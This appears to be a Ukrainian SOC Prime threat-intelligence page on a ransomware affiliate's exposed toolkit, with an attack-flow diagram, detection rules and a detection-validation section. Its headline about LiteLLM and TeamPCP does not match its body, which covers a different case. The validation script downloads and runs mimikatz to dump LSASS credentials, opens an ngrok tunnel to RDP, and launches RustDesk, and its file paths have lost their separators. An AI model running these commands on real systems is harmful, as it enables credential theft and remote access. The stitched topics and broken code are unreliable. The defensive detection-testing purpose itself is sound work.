SOC Prime Bias: Високий

30 Mar 2026 18:08

33 тис. відкритих розгортань LiteLLM та C2-сервери за атаками ланцюга поставок TeamPCP

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
33 тис. відкритих розгортань LiteLLM та C2-сервери за атаками ланцюга поставок TeamPCP
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Дослідники виявили незахищений відкритий каталог на російському пуленепробивному хостинг-провайдері, що містить повний набір інструментів оператора з викупу, приписаний партнеру з викупу TheGentlemen. Набір інструментів містить законні утиліти, відомі наступальні інструменти, пакетні скрипти для ухилення від захисту, дампінг облікових даних і віддалений доступ, а також токени ngrok у відкритому тексті. Дані, такі як журнали Mimikatz, підтверджують активне використання проти реальних жертв.

Розслідування

Розслідування розпочалося з запиту раніше опублікованих IOC, що привело до відкритого каталогу на 176.120.22.127:80. Аналітики каталогізували 126 файлів, витягнули інструменти для сканування мережі, утиліти підвищення привілеїв, скрипти відключення захисту, журнали дампінгу облікових даних та механізми збереження. Детальний аналіз співвідніс кожен компонент з техніками MITRE ATT&CK і підкреслив багатошаровий підхід до ухилення від захисту.

Мітигація

Захисникам слід моніторити виконання відомих інструментів подвійного призначення, зміни у реєстрі, які відключають Windows Defender, масове завершення сервісів, видалення тіней VSS, і створення відкритих SMB-шарів. Блокування вихідних підключень до виявлених IP та інфраструктуру ngrok, а також впровадження білого списку додатків та захист облікових даних може зменшити вплив.

Реагування

Після виявлення ізолюйте уражений вузол, зберіть нестабільні дані та ідентифікуйте будь-які активні тунелі ngrok за допомогою відкритих токенів. Виправте зміни в реєстрі, відновіть відключені сервіси, і почніть повні процедури реагування на інциденти, включаючи зміни облікових даних і відновлення резервних копій.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc %% Nodes step_active_scanning["<b>Дія</b> – <b>T1595 Активне сканування</b><br/><b>Інструмент</b>: netscan.exe"] class step_active_scanning action step_system_info["<b>Дія</b> – <b>T1082 Виявлення інформації про систему</b><br/><b>Інструменти</b>: systeminfo, route print"] class step_system_info action step_process_discovery["<b>Дія</b> – <b>T1057 Виявлення процесів</b><br/><b>Інструмент</b>: PCHunter64"] class step_process_discovery action step_priv_esc["<b>Дія</b> – <b>T1134.003 Маніпуляція токенами доступу: Імітація токена/The Trusted Installer</b><br/><b>Інструмент</b>: PowerRun імітує TrustedInstaller"] class step_priv_esc action step_credential_access["<b>Дія</b> – <b>T1003.001 Дампінг облікових даних ОС</b><br/><b>Інструмент</b>: Mimikatz збирає хеші NTLM та імена користувачів"] class step_credential_access action step_defense_evasion["<b>Дія</b> – <b>T1562.001 Порушення захисту: Відключення інструментів безпеки</b><br/><b>Інструменти</b>: dControl.exe, ConfigureDefender.exe"] class step_defense_evasion action step_modify_registry["<b>Дія</b> – <b>T1112 Зміна реєстру</b><br/><b>Деталі</b>: зміни в реєстрі для відключення Defender та ввімкнення WDigest"] class step_modify_registry action step_service_stop["<b>Дія</b> – <b>T1489 Зупинка сервісу</b><br/><b>Скрипти</b>: z.bat / z1.bat зупиняє та відключає AV, Exchange, DB сервіси"] class step_service_stop action step_persistence_c2["<b>Дія</b> – <b>T1219 Програмне забезпечення для віддаленого доступу</b> та <b>T1572 Стандартний протокол прикладного рівня</b><br/><b>Інструменти</b>: ngrok тунелі, RustDesk віддаленого доступу"] class step_persistence_c2 action step_inhibit_recovery["<b>Вплив</b> – <b>T1490 Зупинка відновлення системи</b><br/><b>Команда</b>: vssadmin delete shadows"] class step_inhibit_recovery action step_anti_forensics["<b>Дія</b> – <b>T1070.001 Очищення журналів подій Windows</b><br/><b>Скрипт</b>: clearlog.bat очищає журнали подій Windows"] class step_anti_forensics action step_archive_data["<b>Дія</b> – <b>T1560 Архівація зібраних даних</b><br/><b>Інструмент</b>: 7u2011Zip стискає дані"] class step_archive_data action %% Connections step_active_scanning –>|leads_to| step_system_info step_system_info –>|leads_to| step_process_discovery step_process_discovery –>|leads_to| step_priv_esc step_priv_esc –>|leads_to| step_credential_access step_credential_access –>|leads_to| step_defense_evasion step_defense_evasion –>|leads_to| step_modify_registry step_modify_registry –>|leads_to| step_service_stop step_service_stop –>|leads_to| step_persistence_c2 step_persistence_c2 –>|leads_to| step_inhibit_recovery step_inhibit_recovery –>|leads_to| step_anti_forensics step_anti_forensics –>|leads_to| step_archive_data "

Потік атаки

Виявлення

Відключення захисту Windows Defender в реальному часі та інші зміни налаштувань (через cmdline)

Команда SOC Prime
30 березня 2026

Підозрілі зміни в реєстрі для дозволу RDP-з’єднань і створення стійкості (через процес_створення)

Команда SOC Prime
30 березня 2026

Ймовірне тіньування служб віддаленого робочого столу (через процес_створення)

Команда SOC Prime
30 березня 2026

Ймовірна спроба видалення певних артефактів реєстру RDP (cmdline)

Команда SOC Prime
30 березня 2026

Додати підозрілу бібліотеку до провайдерів підтримки безпеки [SSP] (через подію реєстру)

Команда SOC Prime
30 березня 2026

Слабкі дозволи на файловий шар (через cmdline)

Команда SOC Prime
30 березня 2026

Підозрілі зміни параметрів Windows Defender (через powershell)

Команда SOC Prime
30 березня 2026

Ймовірне використання хакерських інструментів Windows [Частина 3] (через cmdline)

Команда SOC Prime
30 березня 2026

Ймовірні функції доступності через зловживання реєстром (через cmdline)

Команда SOC Prime
30 березня 2026

Підозріле виконання Taskkill (через cmdline)

Команда SOC Prime
30 березня 2026

Підозріла активність VSSADMIN (через cmdline)

Команда SOC Prime
30 березня 2026

Можливе використання механізму прихованого виходу з процесу (через подію реєстру)

Команда SOC Prime
30 березня 2026

Підозріле зупинення втручання сервісу програми-вимагача (через cmdline)

Команда SOC Prime
30 березня 2026

Ймовірна спроба завантаження або ініціалізації Ngrok (через cmdline)

Команда SOC Prime
30 березня 2026

Ймовірне використання хакерських інструментів Windows [Частина 3] (через подію файлу)

Команда SOC Prime
30 березня 2026

Ймовірне перерахування системних процесів (через cmdline)

Команда SOC Prime
30 березня 2026

Можливе змінення ключів реєстру Windows Defender (через подію реєстру)

Команда SOC Prime
30 березня 2026

Відключення захисту Windows Defender (через подію реєстру)

Команда SOC Prime
30 березня 2026

Ймовірне зловживання ключем реєстру WDigest (через подію реєстру)

Команда SOC Prime
30 березня 2026

Можлива активність уникнення захисту шляхом підозрілого використання Wevtutil (через cmdline)

Команда SOC Prime
30 березня 2026

Можливе обходження UAC – спроба відключення UAC (через подію реєстру)

Команда SOC Prime
30 березня 2026

Альтернативне програмне забезпечення для віддаленого доступу / управління (через процес_створення)

Команда SOC Prime
30 березня 2026

IOC (цільовий IP) для виявлення: 33K виявлених розгортань LiteLLM і C2-серверів за атакою на ланцюжок постачання TeamPCP

Правила SOC Prime AI
30 березня 2026

IOC (джерело IP) для виявлення: 33K виявлених розгортань LiteLLM і C2-серверів за атакою на ланцюжок постачання TeamPCP

Правила SOC Prime AI
30 березня 2026

Уникнення Windows Defender та дампінг облікових даних через зміни в реєстрі [Подія реєстру Windows]

Правила SOC Prime AI
30 березня 2026

Відключення захисту PowerShell за допомогою Set-MpPreference [Windows Powershell]

Правила SOC Prime AI
30 березня 2026

Виконання відомих інструментів для підвищення привілеїв та віддаленого доступу [Створення процесу Windows]

Правила SOC Prime AI
30 березня 2026

## Резюме для керівників

  • Тестовий ідентифікатор: TC-20260330-A1B2C
  • TTPs: T1003.001, T1016, T1021.001, T1021.002, T1046, T1057, T1059.003, T1070.001, T1070.004, T1082, T1112, T1134, T1219, T1484.001, T1489, T1490, T1546.008, T1548.002, T1560.001, T1562.001, T1572
  • Короткий опис логіки правила виявлення: Виявляє створення процесів, ім’я виконуваного файлу яких завершується на будь-який з курованого списку відомих інструментів підвищення привілеїв або віддаленого доступу (наприклад, PowerRun, ngrok, RDP, RustDesk, mimikatz).
  • Мова/Формат правила виявлення: Sigma (YAML)
  • Цільове середовище безпеки: Windows OS; процес‑створення телеметрії через Sysmon (Подія ID 1) та Журнал безпеки Windows (Подія 4688); будь-який SIEM/EDR здатний приймати ці події (наприклад, Azure Sentinel, Splunk, Elastic).
  • Рейтинг стійкості (1-5): 2
  • Обґрунтування: Правило спирається виключно на точне співпадіння з ім’ям файлу. Противник може легко уникнути його шляхом перейменування бінарних файлів, використання упакованих варіантів або виконання такої ж функціональності за допомогою вбудованих утиліт Windows, знижуючи ефективність.
  • Ключові висновки: Правило спрацьовує надійно, коли виконуються точно зазначені бінарні файли, але не виявляє перейменовані чи функціонально еквівалентні інструменти, що призводить до високого ризику хибних негативів.
  • Рекомендація: Збагатіть правило додатковими індикаторами (хешами, аргументами командного рядка, відношеннями батьківського процесу) та розширіть охоплення на бінарні файли що використовуються з метою залишатися непоміченими.

## Середовище і контекст симуляції

  • TTPs під випробуванням:

    • T1003.001: Дампінг облікових даних ОС – пам’ять LSASS
    • T1016: Виявлення конфігурації мережі системи
    • T1021.001: Віддалені служби – Протокол віддаленого робочого стола (RDP)
    • T1021.002: Віддалені служби – SMB/адміністративні шаринги Windows
    • T1046: Сканування мережевих служб
    • T1057: Виявлення процесів
    • T1059.003: Командний і скриптовий інтерпретатор – командна оболонка Windows
    • T1070.001: Видалення індикатора на хості – Очищення журналів подій Windows
    • T1070.004: Видалення індикатора на хості – Видалення файлу
    • T1082: Виявлення інформації про систему
    • T1112: Зміна реєстру
    • T1134: Маніпуляція токенами доступу
    • T1219: Інструменти віддаленого доступу
    • T1484.001: Модифікація політики домену – Модифікація групової політики
    • T1489: Зупинка сервісу
    • T1490: Зупинка відновлення системи
    • T1546.008: Виконання на основі подій – PowerShell
    • T1548.002: Зловживання механізмом контролю підвищення – Обхід UAC
    • T1560.001: Архівація зібраних даних – Архівування за допомогою утиліти
    • T1562.001: Порушення захисту – Вимкнення інструментів безпеки
    • T1572: Тунелювання протоколу
  • Контекст та релевантність TTP:
    Правило орієнтується на виконання бінарних файлів, історично асоційованих із вказаними техніками (наприклад, mimikatz для T1003.001, ngrok для T1572, RustDesk для T1219). Відтворюючи ці виконання, ми можемо перевірити, чи спрацьовує виявлення, як передбачено, та оцінити, як перейменування або альтернативні інструменти впливають на виявлення.

  • Цільове середовище:

    • OS: Windows 10/Server 2019 (64‑розрядна версія)
    • Логування: Sysmon (версія 13+) з налаштуванням створення процесів за замовчуванням; Журнал подій безпеки Windows (Ідентифікатор події 4688) увімкнено.
    • Стек безпеки: Azure Sentinel (Мова запитів Kusto) – взаємозамінний з Splunk, Elastic тощо.

## Телеметрія та перевірка базового рівня перед запуском

Мотивування: Перед симуляцією атаки ми повинні підтвердити, що цільовий вузол налаштований на генерацію необхідних журналів, що ці журнали сприймаються SIEM, і що правило виявлення не спрацьовує на нешкідливу активність. Без цієї валідації будь-який результат тесту буде ненадійним.

  • 1. Інструкції з налаштування телеметрії:

    1. Встановіть Sysmon (якщо ще не встановлено) та застосуйте конфігурацію, яка записує події створення процесів (Ідентифікатор події 1).
      # Завантажити та встановити Sysmon
      Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.exe -OutFile $env:TEMPsysmon.exe
      & $env:TEMPsysmon.exe -i -accepteula
    2. Переконайтеся, що в Windows Security Auditing увімкнено “Аудит створення процесів” (Ідентифікатор події 4688) через політику групи або локальну політику безпеки.
    3. Переконайтеся, що конектор SIEM активний та пересилає журнали Sysmon та Security у вибраний робочий простір.
  • 2. Валідація інгестіон та базового рівня:

    • Дія (ніжна телеметрія): Запустіть загальновживаний бінарний файл Windows, який є not частиною списку виявлення, але все ще генерує подію створення процесу.

      # Нешкідлива команда – запустіть Notepad (не повинно спрацьовувати правило)
      Start-Process notepad.exe
    • Запит валідації (Інгестіон): Підтвердіть, що подія Notepad з’являється в SIEM.

      // Azure Sentinel KQL – перевірка інгестіону нешкідливого процесу
      SecurityEvent
      | where EventID == 4688
      | where Process == "notepad.exe"
      | project TimeGenerated, Computer, Process, CommandLine, InitiatingProcessFileName
      | limit 10

## Симуляція виконання

Передумова: Перевірка телеметрії та базового рівня перед запуском повинна бути успішною.

Мотивування: У цьому розділі детально описується точне виконання техніки супротивника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати визначені TTP та націлено на генерування точної телеметрії, очікуваної за логікою виявлення. Абстрактні або не пов’язані приклади призведуть до помилкової діагностики.

  • Атака наратив і команди:

    1. Дампінг облікових даних (T1003.001): Атакуючий копіює mimikatz.exe на комп’ютер жертви, перейменовує його на PowerRun_x64.exe (для співпадіння з ім’ям файлу у списку правил) і виконує його для витягу облікових даних LSASS.
    2. Створення зворотного тунелю (T1572): Атакуючий запускає ngrok.exe (як є), щоб відкрити TCP-тунель, який пересилає локальний RDP-порт на сервер атакуючого, полегшуючи пересування боком.
    3. Сесія віддаленого робочого столу (T1021.001): Використовуючи новостворений тунель, атакуючий запускає rdp.exe для відкриття з’єднання віддаленого робочого столу з другим внутрішнім хостом.
    4. Альтернативний віддалений доступ (T1219): На випадок невдачі, rustdesk.exe запускається, щоб встановити стійкий канал віддаленого доступу.

    Кожне з цих виконань генерує запис Sysmon/Подію 4688 з полем Image закінчується на відповідне ім’я виконуваного файлу, що задовольняє умову виявлення.

  • Регресійний тестовий скрипт:

    <#
    Скрипт симуляції для спрацювання правила "Відомі інструменти для підвищення привілеїв та віддаленого доступу".
    Передумови:
      - Ввімкнено Sysmon і безпеку подій журналу.
      - Поточний користувач має достатні права для виконання бінарних файлів.
    #>
    
    # 1. Розгорніть mimikatz і перейменуйте в PowerRun_x64.exe (відповідає правилу)
    $mimikatzUrl = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip"
    $tempPath = "$env:TEMPmimikatz"
    New-Item -ItemType Directory -Path $tempPath -Force | Out-Null
    Invoke-WebRequest -Uri $mimikatzUrl -OutFile "$tempPathmimikatz.zip"
    Expand-Archive -Path "$tempPathmimikatz.zip" -DestinationPath $tempPath -Force
    Copy-Item -Path "$tempPathmimikatzx64mimikatz.exe" -Destination "$env:TEMPPowerRun_x64.exe" -Force
    
    # Виконати перейменований mimikatz (дампінг облікових даних)
    Write-Host "[*] Виконання перейменованого mimikatz (PowerRun_x64.exe) для дампінга облікових даних..."
    Start-Process -FilePath "$env:TEMPPowerRun_x64.exe" -ArgumentList "privilege::debug sekurlsa::logonpasswords exit" -WindowStyle Hidden -Wait
    
    # 2. Завантажити та запустити ngrok (зворотний тунель)
    $ngrokUrl = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip"
    Invoke-WebRequest -Uri $ngrokUrl -OutFile "$tempPathngrok.zip"
    Expand-Archive -Path "$tempPathngrok.zip" -DestinationPath $tempPath -Force
    $ngrokPath = "$tempPathngrok.exe"
    Write-Host "[*] Запуск TCP-тунелю ngrok на порту 3389..."
    Start-Process -FilePath $ngrokPath -ArgumentList "tcp 3389 --log=stdout" -RedirectStandardOutput "$tempPathngrok.log" -NoNewWindow
    
    # 3. Запустити клієнт RDP через тунель (зімітувати)
    Write-Host "[*] Симуляція з'єднання RDP через тунель (rdp.exe)..."
    $rdpPath = "$tempPathrdp.exe"
    # Створити хибний rdp.exe (лише для генерації імені процесу)
    New-Item -ItemType File -Path $rdpPath -Force | Out-Null
    Start-Process -FilePath $rdpPath -WindowStyle Hidden
    
    # 4. Розгорнути RustDesk як запасний інструмент віддаленого доступу
    $rustdeskUrl = "https://github.com/rustdesk/rustdesk/releases/download/1.1.9/rustdesk-1.1.9-windows-x64.zip"
    Invoke-WebRequest -Uri $rustdeskUrl -OutFile "$tempPathrustdesk.zip"
    Expand-Archive -Path "$tempPathrustdesk.zip" -DestinationPath $tempPath -Force
    $rustdeskPath = "$tempPathrustdesk.exe"
    Write-Host "[*] Запуск RustDesk (запасний віддалений доступ)..."
    Start-Process -FilePath $rustdeskPath -ArgumentList "--no-upgrade" -WindowStyle Hidden
    
    Write-Host "[+] Симуляція завершена. Перевірте SIEM на наявність подій створення процесів, які закінчуються згаданими бінарними файлами."
  • Команди очищення:

    # Завершити тунель ngrok
    Get-Process -Name ngrok -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Видалити тимчасові файли та бінарні файли
    Remove-Item -Path "$env:TEMPPowerRun_x64.exe" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPngrok.exe" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPrdp.exe" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPrustdesk.exe" -Force -ErrorAction SilentlyContinue
    Remove-Item -Recurse -Force -Path "$env:TEMPmimikatz", "$env:TEMPngrok", "$env:TEMPrustdesk"
    Write-Host "[*] Очищення завершено."